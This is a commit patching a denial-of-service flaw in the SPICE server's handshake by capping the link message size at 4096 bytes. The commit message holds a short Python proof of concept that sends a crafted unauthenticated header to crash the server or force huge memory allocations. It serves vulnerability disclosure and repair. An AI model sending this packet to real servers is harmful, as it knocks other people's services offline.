Prevent possible DoS attempts during protocol handshake

The limit for link message is specified using a 32 bit unsigned integer.
This could cause possible DoS due to excessive memory allocations and
some possible crashes.
For instance a value >= 2^31 causes a spice_assert to be triggered in
async_read_handler (reds-stream.c) due to an integer overflow at this
line:

   int n = async->end - async->now;

This could be easily triggered with a program like

  #!/usr/bin/env python

  import socket
  import time
  from struct import pack

  server = '127.0.0.1'
  port = 5900

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  data = pack('<4sIII', 'REDQ', 2, 2, 0xaaaaaaaa)
  s.send(data)

  time.sleep(1)

without requiring any authentication (the same can be done
with TLS).

Signed-off-by: Frediano Ziglio <fziglio@redhat.com>
Acked-by: Christophe Fergeau <cfergeau@redhat.com>

server/reds.c

@@ -2270,7 +2270,8 @@ static void reds_handle_read_header_done(void *opaque)
         return;
     }
 
-    if (header->size < sizeof(SpiceLinkMess)) {
+    /* the check for 4096 is to avoid clients to cause arbitrary big memory allocations */
+    if (header->size < sizeof(SpiceLinkMess) || header->size > 4096) {
         reds_send_link_error(link, SPICE_LINK_ERR_INVALID_DATA);
         spice_warning("bad size %u", header->size);
         reds_link_free(link);